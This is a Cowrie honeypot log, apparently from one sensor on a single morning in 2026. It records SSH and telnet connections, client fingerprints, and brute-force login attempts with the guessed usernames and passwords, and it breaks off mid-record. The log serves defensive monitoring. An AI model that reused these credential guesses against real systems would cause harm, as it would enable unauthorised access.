{"eventid":"cowrie.login.failed","username":"root","password":"vs123456","message":"login attempt [root/vs123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:08.209781Z","src_ip":"213.209.159.158","session":"5329fb8735ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":41140,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe1e3e113d52","protocol":"telnet","message":"New connection: 62.171.135.55:41140 (159.203.135.109:23) [session: fe1e3e113d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:08.307809Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:11.429535Z","src_ip":"213.209.159.158","session":"5329fb8735ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":45116,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ac16608df4","protocol":"ssh","message":"New connection: 43.159.177.40:45116 (159.203.135.109:22) [session: 23ac16608df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:11.789190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:11.795697Z","src_ip":"43.159.177.40","session":"23ac16608df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:11.860887Z","src_ip":"43.159.177.40","session":"23ac16608df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"admin123","message":"login attempt [odoo/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:12.140314Z","src_ip":"43.159.177.40","session":"23ac16608df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53196,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8ad1454a817","protocol":"telnet","message":"New connection: 62.171.135.55:53196 (159.203.135.109:23) [session: f8ad1454a817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:12.391741Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31826,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fec0d8ac434","protocol":"ssh","message":"New connection: 213.209.159.158:31826 (159.203.135.109:22) [session: 9fec0d8ac434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:12.527142Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:13.214178Z","src_ip":"43.159.177.40","session":"23ac16608df4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:14.720341Z","src_ip":"213.209.159.158","session":"9fec0d8ac434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:14.726006Z","src_ip":"213.209.159.158","session":"9fec0d8ac434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":39362,"dst_ip":"159.203.135.109","dst_port":23,"session":"01cfbe81dce3","protocol":"telnet","message":"New connection: 62.171.135.55:39362 (159.203.135.109:23) [session: 01cfbe81dce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:17.977298Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36834,"dst_ip":"159.203.135.109","dst_port":22,"session":"b548270faf10","protocol":"ssh","message":"New connection: 159.203.92.129:36834 (159.203.135.109:22) [session: b548270faf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:19.980839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:19.989814Z","src_ip":"159.203.92.129","session":"b548270faf10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:19.997222Z","src_ip":"159.203.92.129","session":"b548270faf10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"dell@2024","message":"login attempt [ansible/dell@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:20.017413Z","src_ip":"159.203.92.129","session":"b548270faf10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:21.037788Z","src_ip":"159.203.92.129","session":"b548270faf10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":59612,"dst_ip":"159.203.135.109","dst_port":23,"session":"18bbfcef5179","protocol":"telnet","message":"New connection: 62.171.135.55:59612 (159.203.135.109:23) [session: 18bbfcef5179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:24.954633Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vdi","message":"login attempt [root/vdi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:25.012953Z","src_ip":"213.209.159.158","session":"9fec0d8ac434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":41898,"dst_ip":"159.203.135.109","dst_port":23,"session":"712b0d095630","protocol":"telnet","message":"New connection: 62.171.135.55:41898 (159.203.135.109:23) [session: 712b0d095630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:28.195219Z"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:28.531554Z","src_ip":"213.209.159.158","session":"9fec0d8ac434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":46438,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e7d723a652a","protocol":"ssh","message":"New connection: 213.209.159.158:46438 (159.203.135.109:22) [session: 3e7d723a652a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:28.613315Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":38062,"dst_ip":"159.203.135.109","dst_port":22,"session":"427fd862f0c2","protocol":"ssh","message":"New connection: 156.227.233.77:38062 (159.203.135.109:22) [session: 427fd862f0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:28.845390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:28.850020Z","src_ip":"156.227.233.77","session":"427fd862f0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:29.014723Z","src_ip":"156.227.233.77","session":"427fd862f0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4321","message":"login attempt [ubuntu/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:29.704375Z","src_ip":"156.227.233.77","session":"427fd862f0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:30.872860Z","src_ip":"156.227.233.77","session":"427fd862f0c2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:30.884532Z","src_ip":"213.209.159.158","session":"3e7d723a652a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:30.888376Z","src_ip":"213.209.159.158","session":"3e7d723a652a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.54068112373352,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:32.645509Z","src_ip":"62.171.135.55","session":"fdb977f6b6d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87572479248047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:39.183399Z","src_ip":"62.171.135.55","session":"fe1e3e113d52","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VQ","message":"login attempt [root/VQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:40.217108Z","src_ip":"213.209.159.158","session":"3e7d723a652a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72106909751892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:43.099309Z","src_ip":"62.171.135.55","session":"f8ad1454a817","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:43.872515Z","src_ip":"213.209.159.158","session":"3e7d723a652a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":17646,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2b507f399c4","protocol":"ssh","message":"New connection: 213.209.159.158:17646 (159.203.135.109:22) [session: f2b507f399c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:43.952641Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":36346,"dst_ip":"159.203.135.109","dst_port":23,"session":"c46758744488","protocol":"telnet","message":"New connection: 62.171.135.55:36346 (159.203.135.109:23) [session: c46758744488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:44.615410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:46.144379Z","src_ip":"213.209.159.158","session":"f2b507f399c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:46.153233Z","src_ip":"213.209.159.158","session":"f2b507f399c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42196,"dst_ip":"159.203.135.109","dst_port":23,"session":"36048f1e01ec","protocol":"telnet","message":"New connection: 62.171.135.55:42196 (159.203.135.109:23) [session: 36048f1e01ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:46.626382Z"}
{"eventid":"cowrie.session.closed","duration":31.610803842544556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:49.588191Z","src_ip":"62.171.135.55","session":"01cfbe81dce3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"volcano","message":"login attempt [root/volcano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:55.698594Z","src_ip":"213.209.159.158","session":"f2b507f399c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.198693990707397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:56.153189Z","src_ip":"62.171.135.55","session":"18bbfcef5179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44516,"dst_ip":"159.203.135.109","dst_port":23,"session":"152488c76e89","protocol":"telnet","message":"New connection: 62.171.135.55:44516 (159.203.135.109:23) [session: 152488c76e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:57.071954Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:58.995203Z","src_ip":"213.209.159.158","session":"f2b507f399c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19954,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd57e15c8ce7","protocol":"ssh","message":"New connection: 213.209.159.158:19954 (159.203.135.109:22) [session: fd57e15c8ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:59.079620Z"}
{"eventid":"cowrie.session.closed","duration":31.535337686538696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:59.730412Z","src_ip":"62.171.135.55","session":"712b0d095630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":34550,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b32e42b9c8c","protocol":"ssh","message":"New connection: 43.159.177.40:34550 (159.203.135.109:22) [session: 3b32e42b9c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:01.096800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:01.105012Z","src_ip":"43.159.177.40","session":"3b32e42b9c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh